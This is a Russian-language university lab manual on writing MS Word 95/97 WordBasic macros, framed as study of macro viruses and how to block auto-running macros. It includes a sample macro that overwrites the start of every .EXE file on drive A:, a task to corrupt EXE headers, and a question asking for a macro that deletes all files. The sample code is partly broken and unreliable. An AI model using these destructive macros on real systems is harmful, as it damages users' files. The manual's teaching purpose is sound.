Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
МиСЗИ-Защ.инф.-Новиков-лабы.doc
Скачиваний:
8
Добавлен:
05.05.2019
Размер:
582.14 Кб
Скачать

Лабораторная работа № 6. Макросы документов ms word. Проектирование макросов. Проблемы информационной безопасности

1. Цель работы

Ознакомление с методами проектирования вирусов документов MS Word и борьбы с этими вирусами.

2. Теоретические положения

Начиная с MS Word версии 6.0, появилась возможность автоматизации работы с документами на основе макросов, написанных на WordBasic’е. Создать макрос достаточно просто. На 1-м этапе необходимо выбрать в пункте меню «Сервис» подпункты «Макрос» и «Макросы» (Alt+F8) (см. рис. 1).

Рис. 1. 1-й этап создания макроса.

На 2-м этапе необходимо набрать имя макроса в элементе «Имя:» и нажать кнопку «Создать» (см. рис. 2).

После чего откроется окно Visual Basic, в котором можно набирать тексты макросов и отлаживать их (3-й, заключительный этап). Макросы сохраняются в шаблоне документа MS Word. Запустить макрос можно следующими способами:

  • макрос с именем autoexec запускается автоматически при запуске MS Word;

  • макрос с именем autoload запускается автоматически при загрузке документа MS Word;

  • любой макрос в пошаговом или автоматическом режиме можно запустить из окна Visual Basic из пункта меню «Отладка»;

  • макрос с любым именем можно запустить щелкнув левой кнопкой мыши по «Полю» типа MacroButton, если поле связано с необходимым макросом.

Рис. 2. 2-й этап создания макроса

В настоящее время в операционных системах Windows 95 и выше чаще всего используются две версии MS Word. Это MS Word 95 и MS Word 97. В ниже приведенной таблице рассмотрим синтаксис написания основных операторов WordBasic для обеих версий MS Word.

п/п

MS Word 95

MS Word 97

1

StartOfDocument

WordBasic.StartOfDocument

2

EditFind .Find = " ", .Format = 0

WordBasic.EditFind Find:=" ", Format:=0

3

CharRight 1, 1

WordBasic.CharRight 1, 1

4

Box$ = Right$(Selection$(), 1)

Box$ = WordBasic.[Right$](WordBasic.[Selection$](), 1)

5

FileFind .SearchPath = "A:\", .Name = "*.DOC" .SubDir = 1

WordBasic.FileFind SearchPath:="A:\", Name:="*.DOC", SubDir:=1

6

FileSaveAs .Name = "Lab51.doc", .Format = 0

WordBasic.FileSaveAs Name:="Lab51.doc", Format:=0

7

Open a$ For Input As #1

Open a$ For Input As 1

8

Open a$ For Append As #1

Open a$ For Append As 1

9

Seek(#1, 0)

Seek 1, 0

10

Write #1, d$

Write #1, d$

11

b$ = Input$(256, #1)

b$ = Input(256, 1)

12

Close #1

Close 1

1 – установить курсор в начало документа;

2 – найти пробел (“ “) от текущего положения курсора до конца документа. При этом найденная строка (пробел) выделяется;

3 – курсор от текущего положения сдвигается вправо на одну позицию с выделением текста (эквивалентно одновременному нажатию клавиш Shift и курсор вправо). При отсутствии параметра второй единицы (, 1) выделения текста не происходит;

4 – строковой переменной Box$ присвоить один символ справа выделенного текста;

5 – на дискете A: найти все файлы с расширением *.DOC, включая каталоги (SubDir = 1). Если SubDir = 0, то каталоги не проверяются;

6 – сохранить файл в формате документа MS Word с именем Lab51.doc;

7 – открыть файл с номером #1 для чтения с именем, заданным в строковой переменной a$;

8 – открыть файл с номером #1 для добавления записей с именем, заданным в строковой переменной a$;

9 – встать на начало файла (смещение от начала файла – 0 байт) с номером #1;

10 – вывести в файл с номером #1 строковую переменную d$;

11 – считать в строковую переменную b$ из файла с номером #1 256 символов;

12 – закрыть файл с номером #1.

Как видно макросы могут портить информацию на компьютерах. Если Вы получили письмо, включающее макрос с именем autoexec или autoload, и задумали его прочитать, то содержимое файлов на Вашем компьютере может существенно измениться. Однако можно блокировать запуск макросов с именами autoexec или autoload следующими способами:

  • в пункте меню «Сервис» выбрать «Параметры» и во вкладыше «Общие» отметить пункт «Защита от вирусов в макросах». Тогда при наличае макросов будет появляться окно с разрешением о его запуске;

  • при запуске MS Word и загрузке документов MS Word необходимо держать нажатой клавишу Shift.

Ниже приведено несколько примеров с фрагментами макросов для MS Word 95.

Пример редактирования документов

Sub MAIN

StartOfDocument

EditFind .Find = " ", .Format = 0

While EditFindFound()

CharRight 1, 1

Box$ = Right$(Selection$(), 1)

While Box$ = " "

CharLeft 1

CharRight 2, 1

Box$ = Right$(Selection$(), 1)

If Box$ = " " Then Insert " "

Wend

CharRight 1

EditFind .Find = " ", .Format = 0

Wend

FileSaveAs .Name = "Lab51.doc", .Format = 0

End Sub

Пример использования подпрограмм в макросах

Sub MAIN

Tk_Zpt(".")

Tk_Zpt(",")

FileSaveAs .Name = "Lab52.doc", .Format = 0

End Sub

Sub Tk_Zpt(Sim$)

End Sub

Пример обработки файлов

Sub MAIN

FileFind .SearchPath = "a:\", .Name = "*.EXE"

size = CountFoundFiles()

If size > 0 Then

For count = 1 To size

a$ = FoundFileName$(count)

Open a$ For Input As #1

b$ = Input$(256, #1)

Close #1

d$ = ""

For i = 1 To 256

c$ = Left$(b$, i)

c$ = Right$(c$, 1)

c$ = Chr$(k)

d$ = d$ + c$

Next i

Open a$ For Append As #1

Seek(#1, 0)

Write #1, d$

Close #1

Next count

End If

End Sub

3. Задание на работу

  1. Необходимо написать макрос, который множество пробелов заменял одним. Исправленный документ сохранить в файле Lab51.

  2. Написать макрос, который бы редактировал правильное расположение в документе точек и запятых (макрос ,который …  макрос, который…). Результат сохранить в файле Lab52.doc.

  3. Написать макрос, который в начало всех документов Word на дискете a:\ вставлял бы строку «Примите самые добрые пожелания! [Текущая дата] [Текущее время]». (На основе метода FileFind)

  4. Написать макрос, который модифицировал бы все файлы с расширением EXE на дискете a:\ следующим образом: первые 1024 байт сложить со значением 255 по mod 256.

4. Оборудование

ПЭВМ с архитектурой IBM PC, операционная система – Windows 95, текстовый процессор MS Word версии не ниже 95

5. Порядок выполнения работы

  1. Согласно полученному варианту задания разработать и отладить макрос MS Word в соответствии с заданием.

  2. Разработать методику тестирования макроса для выявления степени реализации его функциональных возможностей.

  3. Оформить отчет.

6. Оформление отчета

Отчет должен содержать:

  • задание на лабораторную работу;

  • листинг разработанного макроса MS Word;

  • описание функционирования макроса.

7. Контрольные вопросы

  1. Каким образом можно запустить макрос MS Word?

  2. Каким образом можно блокировать запуск макросов с именами autoexec и autoload?

  3. Напишите фрагмент макроса, который удалил бы все файлы с дискеты A:.

  4. Напишите фрагмент макроса, который бы снял (завершил выполнение) MS Word.

  5. Опишите процесс создания в документе MS Word «Поля» типа MacroButton.

  6. Чем отличаются режимы отладки макросов в MS Word 95 и MS Word 97?

  7. Возможно ли запустить макрос MS Word из какого-либо другого приложения Windows?